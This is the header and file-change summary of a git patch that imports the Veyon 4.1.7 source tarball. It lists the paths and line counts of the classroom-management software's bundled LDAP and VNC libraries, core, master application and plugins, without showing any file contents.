From d24c4298024e53aa78233fbf1b789c9a951e95ea Mon Sep 17 00:00:00 2001 From: Mike Gabriel Date: Thu, 31 Jan 2019 10:07:06 +0000 Subject: [PATCH] Import veyon_4.1.7+repack1.orig.tar.xz [dgit import orig veyon_4.1.7+repack1.orig.tar.xz] --- .gitignore | 6 + .gitmodules | 12 + .mailmap | 1 + .tx/config | 10 + 3rdparty/kldap/.arcconfig | 3 + 3rdparty/kldap/.gitignore | 21 + 3rdparty/kldap/CMakeLists.txt | 98 + 3rdparty/kldap/COPYING.LIB | 510 + 3rdparty/kldap/KF5LdapConfig.cmake.in | 3 + 3rdparty/kldap/README.md | 3 + 3rdparty/kldap/cmake/FindLdap.cmake | 121 + 3rdparty/kldap/kldap.categories | 3 + 3rdparty/kldap/kldap.renamecategories | 2 + 3rdparty/kldap/metainfo.yaml | 18 + 3rdparty/kldap/src/CMakeLists.txt | 119 + 3rdparty/kldap/src/Messages.sh | 3 + 3rdparty/kldap/src/ber.cpp | 451 + 3rdparty/kldap/src/ber.h | 131 + 3rdparty/kldap/src/kldap_config.h.cmake | 13 + .../kldap/src/ldapattributeproxymodel.cpp | 159 + 3rdparty/kldap/src/ldapattributeproxymodel.h | 95 + 3rdparty/kldap/src/ldapconfigwidget.cpp | 901 ++ 3rdparty/kldap/src/ldapconfigwidget.h | 282 + 3rdparty/kldap/src/ldapconnection.cpp | 468 + 3rdparty/kldap/src/ldapconnection.h | 146 + 3rdparty/kldap/src/ldapcontrol.cpp | 157 + 3rdparty/kldap/src/ldapcontrol.h | 120 + 3rdparty/kldap/src/ldapdefs.h | 161 + 3rdparty/kldap/src/ldapdn.cpp | 210 + 3rdparty/kldap/src/ldapdn.h | 88 + 3rdparty/kldap/src/ldapmodel.cpp | 319 + 3rdparty/kldap/src/ldapmodel.h | 214 + 3rdparty/kldap/src/ldapmodel_p.cpp | 210 + 3rdparty/kldap/src/ldapmodel_p.h | 121 + 3rdparty/kldap/src/ldapmodelnode_p.cpp | 132 + 3rdparty/kldap/src/ldapmodelnode_p.h | 152 + 3rdparty/kldap/src/ldapobject.cpp | 151 + 3rdparty/kldap/src/ldapobject.h | 119 + 3rdparty/kldap/src/ldapoperation.cpp | 1323 +++ 3rdparty/kldap/src/ldapoperation.h | 300 + 3rdparty/kldap/src/ldapsearch.cpp | 355 + 3rdparty/kldap/src/ldapsearch.h | 150 + 3rdparty/kldap/src/ldapserver.cpp | 432 + 3rdparty/kldap/src/ldapserver.h | 334 + .../kldap/src/ldapstructureproxymodel.cpp | 156 + 3rdparty/kldap/src/ldapstructureproxymodel.h | 94 + 3rdparty/kldap/src/ldapurl.cpp | 294 + 3rdparty/kldap/src/ldapurl.h | 186 + 3rdparty/kldap/src/ldif.cpp | 452 + 3rdparty/kldap/src/ldif.h | 205 + 3rdparty/kldap/src/w32-ldap-help.h | 132 + 3rdparty/libvncserver/.appveyor.yml | 60 + 3rdparty/libvncserver/.gitignore | 60 + 3rdparty/libvncserver/.travis.yml | 30 + 3rdparty/libvncserver/AUTHORS | 46 + 3rdparty/libvncserver/CMakeLists.txt | 683 ++ 3rdparty/libvncserver/COPYING | 340 + 3rdparty/libvncserver/ChangeLog | 9044 +++++++++++++++++ 3rdparty/libvncserver/Doxyfile | 1674 +++ 3rdparty/libvncserver/NEWS | 321 + 3rdparty/libvncserver/README.md | 478 + 3rdparty/libvncserver/TODO | 30 + .../cmake/Modules/FindFFMPEG.cmake | 227 + .../libvncserver/cmake/Modules/FindLZO.cmake | 31 + .../libvncserver/cmake/Modules/FindSDL2.cmake | 173 + 3rdparty/libvncserver/common/base64.c | 315 + 3rdparty/libvncserver/common/base64.h | 10 + 3rdparty/libvncserver/common/d3des.c | 436 + 3rdparty/libvncserver/common/d3des.h | 50 + 3rdparty/libvncserver/common/lzoconf.h | 444 + 3rdparty/libvncserver/common/lzodefs.h | 2998 ++++++ 3rdparty/libvncserver/common/md5.c | 451 + 3rdparty/libvncserver/common/md5.h | 152 + 3rdparty/libvncserver/common/minilzo.c | 6037 +++++++++++ 3rdparty/libvncserver/common/minilzo.h | 94 + 3rdparty/libvncserver/common/rfbcrypto.h | 16 + .../libvncserver/common/rfbcrypto_gnutls.c | 50 + .../libvncserver/common/rfbcrypto_included.c | 49 + .../libvncserver/common/rfbcrypto_openssl.c | 49 + 3rdparty/libvncserver/common/sha-private.h | 29 + 3rdparty/libvncserver/common/sha.h | 358 + 3rdparty/libvncserver/common/sha1.c | 414 + 3rdparty/libvncserver/common/turbojpeg.c | 856 ++ 3rdparty/libvncserver/common/turbojpeg.h | 529 + 3rdparty/libvncserver/common/vncauth.c | 215 + 3rdparty/libvncserver/common/zywrletemplate.c | 828 ++ .../deps/sasl-fix-snprintf-macro.patch | 26 + 3rdparty/libvncserver/libvncclient.pc.cmakein | 14 + 3rdparty/libvncserver/libvncclient/corre.c | 70 + 3rdparty/libvncserver/libvncclient/cursor.c | 173 + 3rdparty/libvncserver/libvncclient/hextile.c | 127 + 3rdparty/libvncserver/libvncclient/listen.c | 230 + 3rdparty/libvncserver/libvncclient/rfbproto.c | 2475 +++++ 3rdparty/libvncserver/libvncclient/rre.c | 68 + 3rdparty/libvncserver/libvncclient/sasl.c | 582 ++ 3rdparty/libvncserver/libvncclient/sasl.h | 39 + 3rdparty/libvncserver/libvncclient/sockets.c | 904 ++ 3rdparty/libvncserver/libvncclient/tight.c | 664 ++ 3rdparty/libvncserver/libvncclient/tls.h | 56 + .../libvncserver/libvncclient/tls_gnutls.c | 651 ++ 3rdparty/libvncserver/libvncclient/tls_none.c | 67 + .../libvncserver/libvncclient/tls_openssl.c | 699 ++ 3rdparty/libvncserver/libvncclient/trle.c | 296 + 3rdparty/libvncserver/libvncclient/ultra.c | 214 + .../libvncserver/libvncclient/vncviewer.c | 553 + 3rdparty/libvncserver/libvncclient/zlib.c | 162 + 3rdparty/libvncserver/libvncclient/zrle.c | 427 + 3rdparty/libvncserver/rfb/default8x16.h | 266 + 3rdparty/libvncserver/rfb/keysym.h | 1638 +++ 3rdparty/libvncserver/rfb/rfb.h | 1275 +++ 3rdparty/libvncserver/rfb/rfbclient.h | 741 ++ 3rdparty/libvncserver/rfb/rfbconfig.h.cmakein | 192 + 3rdparty/libvncserver/rfb/rfbproto.h | 1461 +++ 3rdparty/libvncserver/rfb/rfbregion.h | 65 + 3rdparty/libvncserver/test/blooptest.c | 2 + 3rdparty/libvncserver/test/bmp.c | 389 + 3rdparty/libvncserver/test/bmp.h | 53 + 3rdparty/libvncserver/test/cargstest.c | 32 + 3rdparty/libvncserver/test/copyrecttest.c | 56 + 3rdparty/libvncserver/test/cursortest.c | 353 + 3rdparty/libvncserver/test/encodingstest.c | 339 + 3rdparty/libvncserver/test/tjbench.c | 662 ++ 3rdparty/libvncserver/test/tjunittest.c | 461 + 3rdparty/libvncserver/test/tjutil.c | 66 + 3rdparty/libvncserver/test/tjutil.h | 47 + 3rdparty/libvncserver/test/wsmaketestframe.py | 131 + 3rdparty/libvncserver/test/wstest.c | 206 + 3rdparty/libvncserver/test/wstestdata.inc | 146 + CMakeLists.txt | 305 + CONTRIBUTORS | 22 + COPYING | 352 + INSTALL | 91 + README.md | 157 + cmake/CPackDefinitions.cmake | 114 + cmake/modules/BuildPlugin.cmake | 40 + cmake/modules/COPYING-CMAKE-SCRIPTS | 22 + cmake/modules/CotireVeyon.cmake | 7 + cmake/modules/FindLZO.cmake | 29 + cmake/modules/FindLdap.cmake | 114 + cmake/modules/FindPAM.cmake | 74 + cmake/modules/FindQCA.cmake | 99 + cmake/modules/WindowsBuildHelpers.cmake | 26 + cmake/modules/XdgInstall.cmake | 12 + cmake/modules/cotire.cmake | 4054 ++++++++ configurator/CMakeLists.txt | 26 + .../io.veyon.veyon-configurator.policy.in | 20 + .../data/veyon-configurator.desktop.in | 11 + configurator/data/veyon-configurator.png | Bin 0 -> 781 bytes configurator/data/veyon-configurator.svg | 110 + configurator/data/veyon-configurator.xpm | 62 + configurator/forms/AccessControlPage.ui | 614 ++ .../forms/AccessControlRuleEditDialog.ui | 429 + .../forms/AccessControlRulesTestDialog.ui | 128 + .../forms/GeneralConfigurationPage.ui | 409 + configurator/forms/MainWindow.ui | 315 + configurator/forms/MasterConfigurationPage.ui | 516 + .../forms/ServiceConfigurationPage.ui | 336 + configurator/resources/access-rule-ask.png | Bin 0 -> 1600 bytes .../application-x-ms-dos-executable.png | Bin 0 -> 349 bytes .../resources/application-x-sharedlib.png | Bin 0 -> 1485 bytes .../resources/configure-shortcuts.png | Bin 0 -> 574 bytes configurator/resources/dialog-ok-apply.png | Bin 0 -> 994 bytes configurator/resources/document-edit.png | Bin 0 -> 606 bytes configurator/resources/go-down.png | Bin 0 -> 974 bytes configurator/resources/go-next.png | Bin 0 -> 922 bytes configurator/resources/go-previous.png | Bin 0 -> 865 bytes configurator/resources/go-up.png | Bin 0 -> 960 bytes configurator/resources/help-about.png | Bin 0 -> 1168 bytes .../resources/media-playback-start.png | Bin 0 -> 297 bytes .../resources/media-playback-stop.png | Bin 0 -> 198 bytes configurator/resources/network-vpn.png | Bin 0 -> 1146 bytes configurator/resources/vcs-conflicting.png | Bin 0 -> 1171 bytes configurator/resources/vcs-normal.png | Bin 0 -> 1157 bytes configurator/resources/vcs-removed.png | Bin 0 -> 961 bytes configurator/resources/veyon-configurator.png | Bin 0 -> 1828 bytes configurator/src/AccessControlPage.cpp | 293 + configurator/src/AccessControlPage.h | 74 + .../src/AccessControlRuleEditDialog.cpp | 167 + .../src/AccessControlRuleEditDialog.h | 53 + .../src/AccessControlRuleListModel.cpp | 99 + configurator/src/AccessControlRuleListModel.h | 49 + .../src/AccessControlRulesTestDialog.cpp | 90 + .../src/AccessControlRulesTestDialog.h | 49 + .../src/ConfigurationTestController.cpp | 99 + .../src/ConfigurationTestController.h | 48 + configurator/src/GeneralConfigurationPage.cpp | 200 + configurator/src/GeneralConfigurationPage.h | 55 + configurator/src/MainWindow.cpp | 273 + configurator/src/MainWindow.h | 67 + configurator/src/MasterConfigurationPage.cpp | 188 + configurator/src/MasterConfigurationPage.h | 67 + configurator/src/ServiceConfigurationPage.cpp | 166 + configurator/src/ServiceConfigurationPage.h | 69 + configurator/src/main.cpp | 95 + configurator/veyon-configurator.1 | 24 + configurator/veyon-configurator.qrc | 21 + configurator/veyon-configurator.rc.in | 26 + core/CMakeLists.txt | 66 + core/builddata.qrc.in | 5 + core/core.qrc | 38 + core/dialogs/AboutDialog.ui | 340 + core/dialogs/PasswordDialog.ui | 142 + core/include/AboutDialog.h | 51 + core/include/AccessControlProvider.h | 90 + core/include/AccessControlRule.h | 200 + core/include/AuthenticationCredentials.h | 111 + core/include/BuiltinFeatures.h | 77 + core/include/CommandLineIO.h | 53 + core/include/CommandLinePluginInterface.h | 63 + core/include/Computer.h | 110 + core/include/ComputerControlInterface.h | 171 + core/include/Configuration/JsonStore.h | 54 + core/include/Configuration/LocalStore.h | 53 + core/include/Configuration/Object.h | 243 + core/include/Configuration/Proxy.h | 79 + core/include/Configuration/Store.h | 116 + core/include/Configuration/UiMapping.h | 208 + core/include/ConfigurationManager.h | 55 + core/include/ConfigurationPage.h | 45 + .../ConfigurationPagePluginInterface.h | 47 + core/include/Cotire.h | 10 + core/include/CryptoCore.h | 64 + core/include/DesktopAccessDialog.h | 135 + core/include/Feature.h | 210 + core/include/FeatureControl.h | 98 + core/include/FeatureManager.h | 77 + core/include/FeatureMessage.h | 137 + core/include/FeatureProviderInterface.h | 113 + core/include/FeatureWorkerManager.h | 111 + core/include/FileSystemBrowser.h | 74 + core/include/Filesystem.h | 47 + .../InternetAccessControlBackendInterface.h | 59 + core/include/KeyboardShortcutTrapper.h | 59 + core/include/LockWidget.h | 56 + core/include/Logger.h | 102 + core/include/MonitoringMode.h | 83 + core/include/NetworkObject.h | 133 + core/include/NetworkObjectDirectory.h | 68 + core/include/NetworkObjectDirectoryManager.h | 53 + .../NetworkObjectDirectoryPluginInterface.h | 49 + core/include/NetworkObjectModel.h | 55 + core/include/ObjectManager.h | 133 + core/include/PasswordDialog.h | 57 + core/include/PlatformCoreFunctions.h | 63 + core/include/PlatformFilesystemFunctions.h | 48 + core/include/PlatformInputDeviceFunctions.h | 46 + core/include/PlatformNetworkFunctions.h | 47 + core/include/PlatformPluginInterface.h | 57 + core/include/PlatformPluginManager.h | 46 + core/include/PlatformServiceCore.h | 53 + core/include/PlatformServiceFunctions.h | 57 + core/include/PlatformUserFunctions.h | 50 + core/include/Plugin.h | 51 + core/include/PluginInterface.h | 61 + core/include/PluginManager.h | 79 + core/include/ProgressWidget.h | 53 + core/include/QtCompat.h | 343 + core/include/RfbVeyonAuth.h | 64 + core/include/Screenshot.h | 76 + core/include/ServiceControl.h | 69 + core/include/SimpleFeatureProvider.h | 53 + core/include/SocketDevice.h | 95 + core/include/SystemTrayIcon.h | 108 + core/include/ToolButton.h | 157 + core/include/UserGroupsBackendInterface.h | 50 + core/include/UserGroupsBackendManager.h | 49 + core/include/UserSessionControl.h | 117 + core/include/VariantArrayMessage.h | 68 + core/include/VariantStream.h | 46 + core/include/VeyonConfiguration.h | 112 + core/include/VeyonConfigurationProperties.h | 125 + core/include/VeyonConnection.h | 93 + core/include/VeyonCore.h | 181 + core/include/VeyonMasterInterface.h | 37 + core/include/VeyonRfbExt.h | 54 + core/include/VeyonServerInterface.h | 39 + core/include/VeyonServiceControl.h | 45 + core/include/VeyonWorkerInterface.h | 34 + core/include/VncClientProtocol.h | 142 + core/include/VncConnection.h | 279 + core/include/VncServerClient.h | 175 + core/include/VncServerPluginInterface.h | 61 + core/include/VncServerProtocol.h | 105 + core/include/VncView.h | 154 + core/include/veyonconfig.h.in | 10 + core/resources/application-x-pem-key.png | Bin 0 -> 1990 bytes core/resources/default-pkey.pem | 52 + core/resources/document-open.png | Bin 0 -> 370 bytes core/resources/document-save.png | Bin 0 -> 357 bytes core/resources/edit-delete.png | Bin 0 -> 388 bytes core/resources/help-about.png | Bin 0 -> 2335 bytes core/resources/icon128.png | Bin 0 -> 3080 bytes core/resources/icon16.png | Bin 0 -> 424 bytes core/resources/icon22.png | Bin 0 -> 810 bytes core/resources/icon32.png | Bin 0 -> 1097 bytes core/resources/icon64.png | Bin 0 -> 2022 bytes core/resources/languages.png | Bin 0 -> 344 bytes core/resources/license.png | Bin 0 -> 2863 bytes core/resources/list-add.png | Bin 0 -> 254 bytes core/resources/presentation-none.png | Bin 0 -> 618 bytes core/resources/system-suspend-hibernate.png | Bin 0 -> 6868 bytes core/resources/toolbar-background.png | Bin 0 -> 223 bytes core/resources/user-group-new.png | Bin 0 -> 1805 bytes core/resources/watch1.png | Bin 0 -> 2616 bytes core/resources/watch10.png | Bin 0 -> 2635 bytes core/resources/watch11.png | Bin 0 -> 2585 bytes core/resources/watch12.png | Bin 0 -> 2630 bytes core/resources/watch13.png | Bin 0 -> 2630 bytes core/resources/watch14.png | Bin 0 -> 2609 bytes core/resources/watch15.png | Bin 0 -> 2534 bytes core/resources/watch16.png | Bin 0 -> 2655 bytes core/resources/watch2.png | Bin 0 -> 2605 bytes core/resources/watch3.png | Bin 0 -> 2568 bytes core/resources/watch4.png | Bin 0 -> 2603 bytes core/resources/watch5.png | Bin 0 -> 2630 bytes core/resources/watch6.png | Bin 0 -> 2623 bytes core/resources/watch7.png | Bin 0 -> 2568 bytes core/resources/watch8.png | Bin 0 -> 2625 bytes core/resources/watch9.png | Bin 0 -> 2641 bytes core/src/AboutDialog.cpp | 67 + core/src/AccessControlProvider.cpp | 431 + core/src/AccessControlRule.cpp | 130 + core/src/AuthenticationCredentials.cpp | 87 + core/src/BuiltinFeatures.cpp | 57 + core/src/CommandLineIO.cpp | 112 + core/src/Computer.cpp | 38 + core/src/ComputerControlInterface.cpp | 301 + core/src/Configuration/JsonStore.cpp | 199 + core/src/Configuration/LocalStore.cpp | 190 + core/src/Configuration/Object.cpp | 357 + core/src/ConfigurationManager.cpp | 103 + core/src/ConfigurationPage.cpp | 37 + core/src/CryptoCore.cpp | 96 + core/src/DesktopAccessDialog.cpp | 157 + core/src/FeatureControl.cpp | 85 + core/src/FeatureManager.cpp | 234 + core/src/FeatureMessage.cpp | 91 + core/src/FeatureWorkerManager.cpp | 288 + core/src/FileSystemBrowser.cpp | 105 + core/src/Filesystem.cpp | 163 + core/src/LockWidget.cpp | 92 + core/src/Logger.cpp | 332 + core/src/MonitoringMode.cpp | 37 + core/src/NetworkObject.cpp | 165 + core/src/NetworkObjectDirectory.cpp | 51 + core/src/NetworkObjectDirectoryManager.cpp | 102 + core/src/PasswordDialog.cpp | 108 + core/src/PlatformPluginManager.cpp | 48 + core/src/PlatformServiceCore.cpp | 61 + core/src/PluginManager.cpp | 186 + core/src/ProgressWidget.cpp | 86 + core/src/QtCompat.cpp | 166 + core/src/Screenshot.cpp | 158 + core/src/ServiceControl.cpp | 147 + core/src/SimpleFeatureProvider.cpp | 89 + core/src/SystemTrayIcon.cpp | 152 + core/src/ToolButton.cpp | 416 + core/src/UserGroupsBackendManager.cpp | 96 + core/src/UserSessionControl.cpp | 182 + core/src/VariantArrayMessage.cpp | 115 + core/src/VariantStream.cpp | 53 + core/src/VeyonConfiguration.cpp | 99 + core/src/VeyonConnection.cpp | 176 + core/src/VeyonCore.cpp | 499 + core/src/VeyonServiceControl.cpp | 68 + core/src/VncClientProtocol.cpp | 780 ++ core/src/VncConnection.cpp | 966 ++ core/src/VncServerProtocol.cpp | 339 + core/src/VncView.cpp | 831 ++ ctl/CMakeLists.txt | 16 + ctl/src/main.cpp | 198 + ctl/veyon-ctl.1 | 371 + ctl/veyon-ctl.rc.in | 25 + master/CMakeLists.txt | 24 + master/data/veyon-master.desktop.in | 11 + master/data/veyon-master.png | Bin 0 -> 1514 bytes master/data/veyon-master.svg | 92 + master/data/veyon-master.xpm | 112 + master/forms/ComputerManagementView.ui | 99 + master/forms/ComputerMonitoringView.ui | 83 + master/forms/MainWindow.ui | 356 + master/forms/RoomSelectionDialog.ui | 130 + master/forms/ScreenshotManagementView.ui | 163 + master/master.qrc | 17 + master/resources/align-grid.png | Bin 0 -> 241 bytes master/resources/applications-education.png | Bin 0 -> 1645 bytes master/resources/camera-photo.png | Bin 0 -> 6650 bytes master/resources/edit-find.png | Bin 0 -> 1863 bytes .../resources/exchange-positions-zorder.png | Bin 0 -> 1984 bytes master/resources/powered-on.png | Bin 0 -> 2479 bytes .../preferences-desktop-display-blue.png | Bin 0 -> 1242 bytes .../preferences-desktop-display-gray.png | Bin 0 -> 1055 bytes .../preferences-desktop-display-orange.png | Bin 0 -> 1206 bytes .../preferences-desktop-display-red.png | Bin 0 -> 1239 bytes .../resources/preferences-desktop-display.png | Bin 0 -> 1193 bytes master/resources/splash.png | Bin 0 -> 6394 bytes master/resources/zoom-fit-best.png | Bin 0 -> 566 bytes master/src/CheckableItemProxyModel.cpp | 194 + master/src/CheckableItemProxyModel.h | 68 + master/src/ComputerControlListModel.cpp | 478 + master/src/ComputerControlListModel.h | 110 + master/src/ComputerManagementView.cpp | 179 + master/src/ComputerManagementView.h | 62 + master/src/ComputerManager.cpp | 442 + master/src/ComputerManager.h | 102 + master/src/ComputerMonitoringView.cpp | 380 + master/src/ComputerMonitoringView.h | 93 + master/src/ComputerSortFilterProxyModel.cpp | 66 + master/src/ComputerSortFilterProxyModel.h | 61 + master/src/FlexibleListView.cpp | 222 + master/src/FlexibleListView.h | 64 + master/src/MainToolBar.cpp | 111 + master/src/MainToolBar.h | 52 + master/src/MainWindow.cpp | 340 + master/src/MainWindow.h | 84 + master/src/NetworkObjectFilterProxyModel.cpp | 82 + master/src/NetworkObjectFilterProxyModel.h | 53 + master/src/NetworkObjectOverlayDataModel.cpp | 96 + master/src/NetworkObjectOverlayDataModel.h | 58 + master/src/NetworkObjectTreeModel.cpp | 254 + master/src/NetworkObjectTreeModel.h | 66 + master/src/RecursiveFilterProxyModel.cpp | 53 + master/src/RecursiveFilterProxyModel.h | 40 + master/src/RoomSelectionDialog.cpp | 70 + master/src/RoomSelectionDialog.h | 58 + master/src/ScreenshotManagementView.cpp | 138 + master/src/ScreenshotManagementView.h | 62 + master/src/UserConfig.cpp | 45 + master/src/UserConfig.h | 67 + master/src/VeyonMaster.cpp | 246 + master/src/VeyonMaster.h | 120 + master/src/main.cpp | 60 + master/veyon-master.1 | 31 + master/veyon-master.rc.in | 26 + plugins/CMakeLists.txt | 7 + .../authkeys/AuthKeysConfigurationPage.cpp | 286 + plugins/authkeys/AuthKeysConfigurationPage.h | 66 + plugins/authkeys/AuthKeysConfigurationPage.ui | 250 + plugins/authkeys/AuthKeysManager.cpp | 560 + plugins/authkeys/AuthKeysManager.h | 81 + plugins/authkeys/AuthKeysPlugin.cpp | 339 + plugins/authkeys/AuthKeysPlugin.h | 113 + plugins/authkeys/AuthKeysTableModel.cpp | 114 + plugins/authkeys/AuthKeysTableModel.h | 65 + plugins/authkeys/CMakeLists.txt | 18 + plugins/authkeys/authkeys.qrc | 4 + plugins/builtindirectory/BuiltinDirectory.cpp | 192 + plugins/builtindirectory/BuiltinDirectory.h | 54 + .../BuiltinDirectoryConfiguration.cpp | 35 + .../BuiltinDirectoryConfiguration.h | 51 + .../BuiltinDirectoryConfigurationPage.cpp | 269 + .../BuiltinDirectoryConfigurationPage.h | 69 + .../BuiltinDirectoryConfigurationPage.ui | 287 + .../BuiltinDirectoryPlugin.cpp | 701 ++ .../builtindirectory/BuiltinDirectoryPlugin.h | 144 + plugins/builtindirectory/CMakeLists.txt | 18 + .../application-msonenote.png | Bin 0 -> 962 bytes plugins/builtindirectory/builtindirectory.qrc | 5 + plugins/config/CMakeLists.txt | 3 + plugins/config/ConfigCommandLinePlugin.cpp | 338 + plugins/config/ConfigCommandLinePlugin.h | 106 + plugins/demo/CMakeLists.txt | 25 + plugins/demo/DemoClient.cpp | 123 + plugins/demo/DemoClient.h | 51 + plugins/demo/DemoConfiguration.cpp | 50 + plugins/demo/DemoConfiguration.h | 60 + plugins/demo/DemoConfigurationPage.cpp | 83 + plugins/demo/DemoConfigurationPage.h | 55 + plugins/demo/DemoConfigurationPage.ui | 129 + plugins/demo/DemoFeaturePlugin.cpp | 290 + plugins/demo/DemoFeaturePlugin.h | 124 + plugins/demo/DemoServer.cpp | 296 + plugins/demo/DemoServer.h | 113 + plugins/demo/DemoServerConnection.cpp | 173 + plugins/demo/DemoServerConnection.h | 71 + plugins/demo/DemoServerProtocol.cpp | 88 + plugins/demo/DemoServerProtocol.h | 50 + plugins/demo/demo.qrc | 7 + plugins/demo/presentation-fullscreen.png | Bin 0 -> 354 bytes plugins/demo/presentation-window.png | Bin 0 -> 746 bytes plugins/demo/window-duplicate.png | Bin 0 -> 311 bytes plugins/desktopservices/CMakeLists.txt | 22 + .../desktopservices/DesktopServiceObject.cpp | 83 + .../desktopservices/DesktopServiceObject.h | 93 + .../DesktopServicesConfiguration.cpp | 35 + .../DesktopServicesConfiguration.h | 49 + .../DesktopServicesConfigurationPage.cpp | 219 + .../DesktopServicesConfigurationPage.h | 72 + .../DesktopServicesConfigurationPage.ui | 279 + .../DesktopServicesFeaturePlugin.cpp | 312 + .../DesktopServicesFeaturePlugin.h | 119 + plugins/desktopservices/RunProgramDialog.cpp | 51 + plugins/desktopservices/RunProgramDialog.h | 51 + plugins/desktopservices/RunProgramDialog.ui | 77 + plugins/desktopservices/desktop-services.png | Bin 0 -> 1292 bytes plugins/desktopservices/desktopservices.qrc | 7 + .../desktopservices/internet-web-browser.png | Bin 0 -> 5425 bytes .../preferences-desktop-launch-feedback.png | Bin 0 -> 3859 bytes plugins/ldap/CMakeLists.txt | 57 + plugins/ldap/KLdapIntegration.cpp | 27 + plugins/ldap/KLocalizedString | 1 + plugins/ldap/LdapConfiguration.cpp | 35 + plugins/ldap/LdapConfiguration.h | 123 + plugins/ldap/LdapConfigurationPage.cpp | 690 ++ plugins/ldap/LdapConfigurationPage.h | 95 + plugins/ldap/LdapConfigurationPage.ui | 1119 ++ plugins/ldap/LdapDirectory.cpp | 900 ++ plugins/ldap/LdapDirectory.h | 115 + plugins/ldap/LdapNetworkObjectDirectory.cpp | 229 + plugins/ldap/LdapNetworkObjectDirectory.h | 58 + plugins/ldap/LdapPlugin.cpp | 281 + plugins/ldap/LdapPlugin.h | 136 + .../application-x-kexi-connectiondata.png | Bin 0 -> 2255 bytes plugins/ldap/computer.png | Bin 0 -> 304 bytes plugins/ldap/configure.png | Bin 0 -> 205 bytes plugins/ldap/dialog-ok-apply.png | Bin 0 -> 994 bytes plugins/ldap/distribute-vertical-margin.png | Bin 0 -> 206 bytes plugins/ldap/kldap_export.h | 31 + plugins/ldap/klocalizedstring.h | 52 + plugins/ldap/ldap.qrc | 10 + plugins/ldap/ldap_debug.h | 34 + plugins/ldap/user-group-properties.png | Bin 0 -> 888 bytes plugins/platform/CMakeLists.txt | 7 + plugins/platform/linux/CMakeLists.txt | 39 + plugins/platform/linux/LinuxCoreFunctions.cpp | 329 + plugins/platform/linux/LinuxCoreFunctions.h | 80 + .../platform/linux/LinuxDesktopIntegration.h | 73 + .../linux/LinuxFilesystemFunctions.cpp | 111 + .../platform/linux/LinuxFilesystemFunctions.h | 45 + .../linux/LinuxInputDeviceFunctions.cpp | 137 + .../linux/LinuxInputDeviceFunctions.h | 58 + .../linux/LinuxKeyboardShortcutTrapper.h | 50 + .../platform/linux/LinuxNetworkFunctions.cpp | 89 + .../platform/linux/LinuxNetworkFunctions.h | 42 + .../platform/linux/LinuxPlatformPlugin.cpp | 45 + plugins/platform/linux/LinuxPlatformPlugin.h | 121 + plugins/platform/linux/LinuxServiceCore.cpp | 379 + plugins/platform/linux/LinuxServiceCore.h | 94 + .../platform/linux/LinuxServiceFunctions.cpp | 129 + .../platform/linux/LinuxServiceFunctions.h | 53 + plugins/platform/linux/LinuxUserFunctions.cpp | 340 + plugins/platform/linux/LinuxUserFunctions.h | 58 + .../platform/linux/auth-helper/CMakeLists.txt | 11 + .../linux/auth-helper/VeyonAuthHelper.cpp | 108 + plugins/powercontrol/CMakeLists.txt | 9 + .../PowerControlFeaturePlugin.cpp | 239 + .../powercontrol/PowerControlFeaturePlugin.h | 96 + plugins/powercontrol/powercontrol.qrc | 7 + .../preferences-system-power-management.png | Bin 0 -> 4217 bytes plugins/powercontrol/system-reboot.png | Bin 0 -> 6038 bytes plugins/powercontrol/system-shutdown.png | Bin 0 -> 5688 bytes plugins/remoteaccess/CMakeLists.txt | 5 + .../RemoteAccessFeaturePlugin.cpp | 210 + .../remoteaccess/RemoteAccessFeaturePlugin.h | 108 + plugins/remoteaccess/RemoteAccessWidget.cpp | 382 + plugins/remoteaccess/RemoteAccessWidget.h | 119 + plugins/remoteaccess/application-exit.png | Bin 0 -> 207 bytes plugins/remoteaccess/camera-photo.png | Bin 0 -> 6650 bytes plugins/remoteaccess/kmag.png | Bin 0 -> 6369 bytes plugins/remoteaccess/krdc.png | Bin 0 -> 6420 bytes .../preferences-desktop-keyboard.png | Bin 0 -> 622 bytes plugins/remoteaccess/remoteaccess.qrc | 10 + plugins/remoteaccess/view-fullscreen.png | Bin 0 -> 486 bytes plugins/screenlock/CMakeLists.txt | 3 + .../screenlock/ScreenLockFeaturePlugin.cpp | 158 + plugins/screenlock/ScreenLockFeaturePlugin.h | 104 + .../screenlock/locked-screen-background.png | Bin 0 -> 2217 bytes plugins/screenlock/screenlock.qrc | 6 + plugins/screenlock/system-lock-screen.png | Bin 0 -> 4324 bytes plugins/screenshot/CMakeLists.txt | 9 + .../screenshot/ScreenshotFeaturePlugin.cpp | 74 + plugins/screenshot/ScreenshotFeaturePlugin.h | 82 + plugins/screenshot/camera-photo.png | Bin 0 -> 6650 bytes plugins/screenshot/screenshot.qrc | 5 + plugins/servicecontrol/CMakeLists.txt | 7 + .../servicecontrol/ServiceControlPlugin.cpp | 110 + plugins/servicecontrol/ServiceControlPlugin.h | 102 + plugins/shell/CMakeLists.txt | 3 + plugins/shell/ShellCommandLinePlugin.cpp | 110 + plugins/shell/ShellCommandLinePlugin.h | 93 + plugins/systemusergroups/CMakeLists.txt | 7 + .../SystemUserGroupsPlugin.cpp | 59 + .../systemusergroups/SystemUserGroupsPlugin.h | 86 + plugins/textmessage/CMakeLists.txt | 14 + plugins/textmessage/TextMessageDialog.cpp | 56 + plugins/textmessage/TextMessageDialog.h | 52 + plugins/textmessage/TextMessageDialog.ui | 73 + .../textmessage/TextMessageFeaturePlugin.cpp | 143 + .../textmessage/TextMessageFeaturePlugin.h | 101 + plugins/textmessage/dialog-information.png | Bin 0 -> 1889 bytes plugins/textmessage/textmessage.qrc | 5 + plugins/vncserver/CMakeLists.txt | 9 + plugins/vncserver/external/CMakeLists.txt | 15 + .../vncserver/external/ExternalVncServer.cpp | 99 + .../vncserver/external/ExternalVncServer.h | 97 + .../ExternalVncServerConfiguration.cpp | 35 + .../external/ExternalVncServerConfiguration.h | 51 + .../ExternalVncServerConfigurationWidget.cpp | 54 + .../ExternalVncServerConfigurationWidget.h | 50 + .../ExternalVncServerConfigurationWidget.ui | 59 + .../BuiltinUltraVncServer.cpp | 224 + .../ultravnc-builtin/BuiltinUltraVncServer.h | 118 + .../vncserver/ultravnc-builtin/CMakeLists.txt | 92 + .../ultravnc-builtin/LogoffEventFilter.cpp | 70 + .../ultravnc-builtin/LogoffEventFilter.h | 45 + .../UltraVncConfiguration.cpp | 45 + .../ultravnc-builtin/UltraVncConfiguration.h | 59 + .../UltraVncConfigurationWidget.cpp | 47 + .../UltraVncConfigurationWidget.h | 50 + .../UltraVncConfigurationWidget.ui | 67 + .../ultravnc-builtin/ultravnc-rfbproto.h | 93 + .../vncserver/ultravnc-builtin/ultravnc.cpp | 38 + 